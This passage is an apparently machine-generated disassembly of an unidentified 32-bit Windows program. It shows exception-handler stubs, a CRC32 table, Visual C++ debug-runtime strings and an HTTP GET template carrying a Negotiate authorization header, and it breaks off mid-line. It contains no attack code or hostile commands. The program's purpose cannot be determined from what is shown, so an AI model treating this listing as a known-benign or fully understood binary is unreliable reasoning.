sub_41F580 SEH_437360 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_437DA0 retn ; =============== S U B R O U T I N E ======================================= SEH_4373C0 proc near ; DATA XREF: sub_4373C0+5o mov eax, offset dword_43B308 jmp sub_41F580 SEH_4373C0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_437DA0 retn ; =============== S U B R O U T I N E ======================================= SEH_437480 proc near ; DATA XREF: sub_437480+5o mov eax, offset dword_43B350 jmp sub_41F580 SEH_437480 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] call sub_437DA0 retn ; =============== S U B R O U T I N E ======================================= SEH_437540 proc near ; DATA XREF: sub_437540+5o mov eax, offset dword_43B378 jmp sub_41F580 SEH_437540 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_40D482 retn ; =============== S U B R O U T I N E ======================================= SEH_437660 proc near ; DATA XREF: sub_437660+5o mov eax, offset dword_43B3E0 jmp sub_41F580 SEH_437660 endp ; --------------------------------------------------------------------------- align 1000h seg000 ends ; Section 2. (virtual address 00039000) ; Virtual size : 00003000 ( 12288.) ; Section size in file : 00003000 ( 12288.) ; Offset to raw data for section: 00039000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 439000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dd 0 dd 47F514CAh, 0 dd 2, 4Bh, 0 dd 54E00h dword_43901C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D18E+68o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dbl_439458 dq 1.388888888888889e-2 ; DATA XREF: sub_40CFCB+2Fr dbl_439460 dq 1.666666666666667e-1 ; DATA XREF: sub_40CFCB+15r dbl_439468 dq 1.333333333333333 ; DATA XREF: sub_40D017+70r dword_439470 dd 0FFFFFFFFh ; sub_40D4B2r ... dword_439474 dd 2 dup(0) dd 3F500000h dbl_439480 dq -1.52587890625e-4 ; DATA XREF: sub_417120+3E5r dbl_439488 dq 3.0517578125e-4 ; DATA XREF: sub_417120+3C5r dbl_439490 dq -3.0517578125e-4 ; DATA XREF: sub_417120+342r ; sub_417120+3A7r dbl_439498 dq 1.52587890625e-4 ; DATA XREF: sub_417120+271r dbl_4394A0 dq -1.739501953125e-3 ; DATA XREF: sub_417120+24Br ; sub_417120+2D5r ... dbl_4394A8 dq 3.11279296875e-3 ; DATA XREF: sub_417120+E1r dbl_4394B0 dq 3.0517578125e-5 ; DATA XREF: sub_417120+AEr ; sub_417120+138r ... dbl_4394B8 dq 6.103515625e-5 ; DATA XREF: sub_417120+93r ; sub_417120+308r dbl_4394C0 dq 2.288818359375e-3 ; DATA XREF: sub_417120+21r dbl_4394C8 dq -3.0517578125e-5 ; DATA XREF: sub_41801E+2Br flt_4394D0 dd 9.765625e-4 ; DATA XREF: sub_419E6F+1AEr flt_4394D4 dd 8.0 ; DATA XREF: sub_419E6F+1A8r flt_4394D8 dd 0.0 ; DATA XREF: sub_419E6F+16Fr flt_4394DC dd 1.0e-3 ; DATA XREF: sub_419E6F+166r dword_4394E0 dd 6F6C6366h, 632E6573h, 0 ; sub_41AD80+25o dword_4394EC dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; sub_4201E0+Do ... dword_4394FC dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h ; DATA XREF: sub_41AD80+1Co ; sub_41DEE0+45o ... dd 6572h, 545243h, 6D726F4Eh, 6C61h aFree db 'Free',0 ; DATA XREF: seg002:off_44FA50o align 4 aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: sub_41AF30:loc_41B09Ao ; sub_41B330:loc_41B4B0o align 10h aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41AF30+11Bo aS_25 db '%s',0 ; DATA XREF: sub_41AF30+BCo ; sub_41AF30+16Fo ... align 4 aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: sub_41AF30:loc_41AFE7o align 4 aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_41AF30+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_41AF30+31o ; sub_41B330+77o ... align 10h a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_41AF30+25o ; sub_41B330+6Bo ... align 4 a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41B330+499o align 10h a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41B330+445o align 4 aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: sub_41B330:loc_41B716o align 10h a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: sub_41B330+277o align 4 aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: sub_41B330:loc_41B541o db 'REQ',0 align 4 a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41B330+1B6o ; sub_41B920+A8o ... align 4 aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: sub_41B330+136o align 4 aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: sub_41B330:loc_41B42Fo aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_41B330+DCo a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41B920+35Do align 4 a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41B920+307o align 4 aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41B920+29Co ; sub_41BD30+112o align 4 aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_41B920:loc_41BB44o align 4 aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41B920+1E5o ; sub_41C000+249o align 10h aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41B920+17Fo ; sub_41C000+1ECo align 4 a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41B920+10Ao ; sub_41BD30+C1o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41B920:loc_41B98Do align 10h aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: sub_41BF70+54o align 4 aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_41C000+31Eo align 4 aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41C000+2EBo aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_41C000+2A2o align 4 aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41C000:loc_41C1B8o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_41C000:loc_41C112o align 4 a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_41C000:loc_41C0EAo align 4 a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_41C000:loc_41C0C2o align 10h a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_41C000:loc_41C09Ao align 4 a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_41C000:loc_41C06Fo aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41C600+11Bo align 4 a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_41C600:loc_41C60Fo a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: seg000:loc_41C792o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_41C8A0:loc_41CB2Co align 4 aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_41C8A0+250o align 4 aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: sub_41C8A0+1F3o aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_41C8A0+188o aLd db '{%ld} ',0 ; DATA XREF: sub_41C8A0+139o align 4 aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_41C8A0+111o align 4 aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_41C8A0+E0o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_41C8A0:loc_41C8BAo aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_41CB60+ECo a_2x db '%.2X ',0 ; DATA XREF: sub_41CB60+BFo align 4 aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: seg000:loc_41CCB4o aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: seg000:0041CD9Do align 10h aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: seg000:0041CD75o align 4 aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: seg000:0041CD4Bo align 4 aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41CFE0+95o align 4 aModeNull db 'mode != NULL',0 ; DATA XREF: sub_41CFE0+67o ; sub_424520+4Fo align 4 aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_41CFE0+3Do align 4 aFopen_c db 'fopen.c',0 ; DATA XREF: sub_41CFE0+18o ; sub_41CFE0+46o ... aFileNull db 'file != NULL',0 ; DATA XREF: sub_41CFE0+Fo align 4 aFormatNull db 'format != NULL',0 ; DATA XREF: sub_41D160+3Fo ; sub_41D260+45o ... align 4 aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_41D160+1Eo ; sub_41D160+48o align 10h aStringNull db 'string != NULL',0 ; DATA XREF: sub_41D160+15o ; sub_41D260+1Bo ... align 10h aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_41D260+24o ; sub_41D260+4Eo ... align 4 aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41DEE0+24o ; sub_41DEE0+4Eo aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_41E440+1Eo ; sub_41E440+48o align 10h aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_41EB80+24o ; sub_41EB80+4Eo align 4 a_file_c db '_file.c',0 ; DATA XREF: sub_41EF20+31o ; sub_41EF20+65o align 8 dbl_439CE8 dq 1.0 ; DATA XREF: sub_41F150+99r ; sub_41F370+99r ... dword_439CF0 dd 64676264h, 632E6C65h, 7070hdword_439CFC dd 78656E6Fh, 632E7469h, 0 ; sub_41FE90+8o dword_439D08 dd 7473626Dh, 7363776Fh, 632Ehdword_439D14 dd 3D212073h, 4C554E20h, 4Chdword_439D20 dd 65657366h, 632E6Bh ; sub_420250+19o dword_439D28 dd 0FFFFFFFFh, 420C62h, 420C7Dh, 65737341h, 6F697472h ; DATA XREF: seg000:00420B35o ; seg002:0044FD5Co dd 6146206Eh, 64656C69h, 0 aError db 'Error',0 ; DATA XREF: seg002:0044FD58o align 10h aWarning db 'Warning',0 ; DATA XREF: seg002:off_44FD54o aSDS db '%s(%d) : %s',0 ; DATA XREF: seg000:0042100Fo asc_439D64: ; DATA XREF: seg000:loc_420FE6o dw 0Ah unicode 0, <>,0 asc_439D68: ; DATA XREF: seg000:00420FD2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: seg000:loc_420F85o align 10h aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: seg000:loc_420F79o align 4 a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: seg000:00420F59o ; seg000:0042102Co ... align 10h aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: seg000:00420EF6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: seg000:00420EC6o align 10h aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: seg000:00420EACo ; sub_42D5C0+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4211A0+2C2o align 10h aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_4211A0+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: sub_4211A0+221o db 'Module: ',0 align 10h aFile_2 db 0Ah ; DATA XREF: sub_4211A0+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: sub_4211A0+1AAo db 'Line: ',0 asc_439EA0 db 0Ah ; DATA XREF: sub_4211A0+173o ; sub_42CB30+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: sub_4211A0+153o align 4 dword_439EB4 dd 0 ; sub_4211A0:loc_4212D9o ... aForInformation db 0Ah ; DATA XREF: sub_4211A0+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 a___ db '...',0 ; DATA XREF: sub_4211A0+9Co ; sub_4211A0+F4o ... aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4211A0+56o ; sub_42CB30+EDo align 4 aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_4211A0+1Fo align 4 aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_4211A0+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_4215E0+15o align 4 aMlock_c db 'mlock.c',0 ; DATA XREF: sub_421A80+16o a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_423E50+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: sub_424520+2Eo ; sub_424520+58o ... aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_424520+25o align 4 aStream_c db 'stream.c',0 ; DATA XREF: sub_4248B0+C1o align 4 aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0 ; DATA XREF: sub_424A30+162o align 4 a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: sub_424A30+18o ; sub_424A30+16Eo align 10h byte_43A000 db 6 ; DATA XREF: sub_424CB0+8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: seg002:off_45003Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: seg002:off_450038o align 4 aOutput_c db 'output.c',0 ; DATA XREF: sub_424CB0+122o align 10h aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_424CB0+116o align 10h aTidtable_c db 'tidtable.c',0 ; DATA XREF: sub_425B50+23o ; sub_425C30+29o align 4 a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: sub_4269E0+18o ; sub_4269E0+B2o ... align 4 aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: sub_426B40+13o align 10h aInput_c db 'input.c',0 ; DATA XREF: sub_426BE0+1Eo ; sub_426BE0+4Bo aIoinit_c db 'ioinit.c',0 ; DATA XREF: seg000:004281DBo align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 10h a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 10h aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 10h aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 10h aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 4 aLog_0 db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: seg002:off_4502E4o dbl_43A188 dq 0.0 ; DATA XREF: sub_428DD0+D7r ; sub_428DD0+11Ar ... aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_429720+1Ao align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_429720+6o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_429A00:loc_429A78o align 10h dword_43A1C0 dd 0FFFFFFFFh, 42A4A9h, 42A4B6h, 0dword_43A1D0 dd 0FFFFFFFFh, 0 dd offset sub_42A6DD align 10h dd offset loc_42A69E dd offset loc_42A6AB dword_43A1E8 dd 0FFFFFFFFh, 42A9FCh, 42AA02h, 0dword_43A1F8 dd 0FFFFFFFFh, 42AA7Eh, 42AA8Dh, 0dword_43A208 dd 0FFFFFFFFh, 0 dd offset sub_42ABBE align 8 dd offset loc_42ABA0 dd offset loc_42ABA6 dword_43A220 dd 0FFFFFFFFh, 0 dd offset sub_42AC6A align 10h dd offset loc_42AC4C dd offset loc_42AC52 aLc_time db 'LC_TIME',0 ; DATA XREF: seg002:0045056Co aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: seg002:00450560o align 4 aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: seg002:00450554o aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: seg002:00450548o align 4 aLc_collate db 'LC_COLLATE',0 ; DATA XREF: seg002:0045053Co align 10h aLc_all db 'LC_ALL',0 ; DATA XREF: seg002:off_450530o align 4 asc_43A278: ; DATA XREF: seg000:loc_42AE43o ; sub_42B220+83o unicode 0, <;>,0 asc_43A27C db '=;',0 ; DATA XREF: seg000:loc_42AD71o align 10h aSetlocal_c db 'setlocal.c',0 ; DATA XREF: sub_42B080+3Eo ; sub_42B220+1Bo align 4 asc_43A28C: ; DATA XREF: sub_42B220+5Bo unicode 0, <=>,0 a___0 db '_.,',0 ; DATA XREF: sub_42B510:loc_42B582o a__2: ; DATA XREF: sub_42B670+50o ; sub_431120:loc_43131Bo unicode 0, <.>,0 a__3: ; DATA XREF: sub_42B670+25o unicode 0, <_>,0 aFtell_c db 'ftell.c',0 ; DATA XREF: seg000:0042B846o ; sub_42B8A0+18o dword_43A2A4 dd 0 ; seg000:0042E098o ... dword_43A2A8 dd 2 dup(0) ; seg000:0042E075o ... dword_43A2B0 dd 0FFFFFFFFh, 42BC86h, 42BC8Ch, 0FFFFFFFFh, 42BD7Ch, 42BD82h ; DATA XREF: seg000:0042BB45o dword_43A2C8 dd 65647473h, 2E70766Eh, 63h ; sub_42C180+D0o dword_43A2D4 dd 61647473h, 2E766772h, 63hdword_43A2E0 dd 6E655F61h, 632E76h, 746E7572h, 20656D69h, 6F727265h ; DATA XREF: sub_42C7E0+E8o ; sub_42C7E0+1C6o dd 2072h, 0A0Dh, 534F4C54h, 72652053h, 0D726F72h, 0Ah dd 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: seg002:off_450604o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_42CB30+1A4o align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_42CB30:loc_42CC7Ao db 0Ah db 'Program: ',0 align 4 aWinsig_c db 'winsig.c',0 ; DATA XREF: seg000:0042D171o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42D5C0+5Fo align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42D5C0:loc_42D60Bo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42D5C0+2Ao aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: sub_42D680+138o align 10h dword_43A600 dd 0FFFFFFFFh, 42E184h, 42E18Ahdword_43A60C dd 7465675Fh, 2E667562h, 63h ; sub_42E200+48o dword_43A618 dd 6F74626Dh, 632E6377h, 0aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: sub_42EA50+18o align 4 aUngetc_c db 'ungetc.c',0 ; DATA XREF: seg000:0042EBE6o ; sub_42EC40+16o align 4 aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTzset_c db 'tzset.c',0 ; DATA XREF: seg000:0042EFB1o aTz db 'TZ',0 ; DATA XREF: seg000:0042EE15o align 10h aInittime_c db 'inittime.c',0 ; DATA XREF: sub_4307A0+13o align 4 aInitnum_c db 'initnum.c',0 ; DATA XREF: sub_431120+1CFo ; sub_431120+215o ... align 4 aInitmon_c db 'initmon.c',0 ; DATA XREF: sub_431450+13o align 4 aInitctyp_c db 'initctyp.c',0 ; DATA XREF: seg000:00431902o ; seg000:0043191Bo ... align 10h aParaguay db 'Paraguay',0 align 4 aUruguay db 'Uruguay',0 aChile db 'Chile',0 ; DATA XREF: seg002:00450C14o align 4 aEcuador db 'Ecuador',0 ; DATA XREF: seg002:00450BE8o aArgentina db 'Argentina',0 align 10h aPeru db 'Peru',0 align 4 aColombia db 'Colombia',0 ; DATA XREF: seg002:00450B64o align 4 aVenezuela db 'Venezuela',0 align 10h aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: seg002:00450B0Co align 4 aSouthAfrica db 'South Africa',0 align 4 aPanama db 'Panama',0 ; DATA XREF: seg002:00450AB4o align 4 aLuxembourg db 'Luxembourg',0 ; DATA XREF: seg002:00450A88o align 4 aCostaRica db 'Costa Rica',0 ; DATA XREF: seg002:00450A5Co align 4 aSwitzerland db 'Switzerland',0 aGuatemala db 'Guatemala',0 ; DATA XREF: seg002:00450A04o align 4 aCanada db 'Canada',0 ; DATA XREF: seg002:004509D8o align 4 aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: seg002:004509A4o align 4 aAustralia db 'Australia',0 ; DATA XREF: seg002:00450980o align 4 aEnglish db 'English',0 ; DATA XREF: seg002:00450978o ; seg002:00450AD8o aAustria db 'Austria',0 ; DATA XREF: seg002:00450954o aGerman db 'German',0 ; DATA XREF: seg002:0045094Co align 10h aBelgium db 'Belgium',0 ; DATA XREF: seg002:00450928o aMexico db 'Mexico',0 ; DATA XREF: seg002:004508FCo align 10h aSpanish db 'Spanish',0 ; DATA XREF: 